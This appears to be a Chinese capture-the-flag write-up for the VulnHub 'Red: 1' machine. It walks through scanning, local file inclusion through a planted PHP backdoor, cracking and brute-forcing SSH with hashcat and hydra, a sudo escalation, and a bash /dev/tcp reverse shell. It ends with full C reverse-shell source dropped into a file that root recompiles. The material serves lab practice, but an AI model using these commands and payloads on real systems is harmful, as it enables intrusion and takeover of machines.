Red : 1
项目地址
http://www.vulnhub.com/entry/red-1,753/
难度:Medium
测试环境
攻击机:Kali 192.168.56.109
目标靶机:Ubuntu 192.168.56.113
测试过程
信息收集
查找靶机IParp-scan -I eth1 -l
,获取到目标IP为192.168.56.113。
使用nmap扫描目标开放了哪些端口nmap -sS -p- -n 192.168.56.113,nmap -sV -p22,80 -n 192.168.56.113
访问目标网站,并没有被解析,显示并不完整,查看源码,超链接都指向redrocks.win
,修改hosts文件,将redrocks.win指向192.168.56.113。
网页恢复正常,是个wordpress站点。在查看redrocks.win/2021/10/24/hello-world/
源码时发现有行奇怪的注释,一开始以为是网站的用户名,但是使用忘记密码页面时显示无此账户,并且它的首字母大写并不是很正常Looking For It
,缩写就是LFI(Local File Inclusion)
![4]https://img.freeaes.com/images/2021/12/19/4.png
查找后门文件
并且网站页面上有hacker留下的信息You’ll never find the backdoor
,证明是有后门文件的,通过gobuster使用https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt
文件进行遍历,先将文件保存到本地,执行gobuster dir -u http://redrocks.win -w CommonBackdoors-PHP.fuzz.txt
,应为文件内已有后缀,所以不用再指定后缀名。
找到一个NetworkFileManagerPHP.php
。状态码为500,因为是个文件包含所以应该需要一个参数指定包含的文件名,通过burpsuite使用https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/burp-parameter-names.txt
文件进行爆破,将文件保存到本地,使用Intrude模块导入字典,设置好参数后爆破得到参数为key
。
后门利用
可以看到除了root外还有四个用户,因为直接读取wp-config.php不成功,所以需要使用php伪协议读取php://filter/convert.base64-encode/resource=wp-config.php
,选中base64密文,按Ctrl+Shift+B
解密。文件内有数据库的用户名和其密码john/R3v_m4lwh3r3_k1nG!!
,但是并不能用来登录后台或ssh
通过读取Network File Manager PHP.php文件发现里面有一串注释过的信息That password alone won't help you! Hashcat says rules are rules
。
hash碰撞
hashcat的规则有很多,不过鉴于信息是由base64提供的,选择bset64规则进行hash碰撞hashcat --force pass -r /usr/share/hashcat/rules/best64.rule --stdout > pswd
使用解出的密码通过hydra进行ssh爆破hydra -l john -P pswd ssh://192.168.56.113
,得出密码为R3v_m4lwh3r3_k1nG!!0
,使用ssh连接。
会话维持
使用sudo -l
查看当前用户可执行的命令,有time,执行sudo -u ippsec /usr/bin/time /bin/bash
切换到ippsec用户。
hacker会不断的给我们发送信息干扰,一段时间后还会将我们踢出连接并修改密码。
首先我们反弹一个shell到kali。先在kali执行nc -lvvp 8848
建立监听端口,然后在目标机器上执行bash -i >& /dev/tcp/192.168.56.109/8848 0>&1
。反弹成功后执行python3 -c 'import pty;pty.spawn("/bin/bash")'
,这样即使ssh被踢掉也不会断开。
权限提出
网站目录下的wordpress目录内有个.git目录,里面有两个文件,rev和supersecretfileuc.c,rev是supersecretfileuc.c编译的程序,执行会输出信息,就是red时不时弹出的骚扰信息,将rev删除后过段时间会重新编译,并且是root权限。
删掉这两个文件,用revshells.com网站生成C的反弹shell程序,通过http服务将其传到目标机器写入supersecretfileuc.c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 9001;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.56.109");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execve("sh", argv, NULL);
return 0;
}
并在kali监听9001端口,过段时间它会自动编译并执行。在root目录下有个root.txt文件。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D1SUJi8s-1639916470589)(https://img.freeaes.com/images/2021/12/19/19.png)]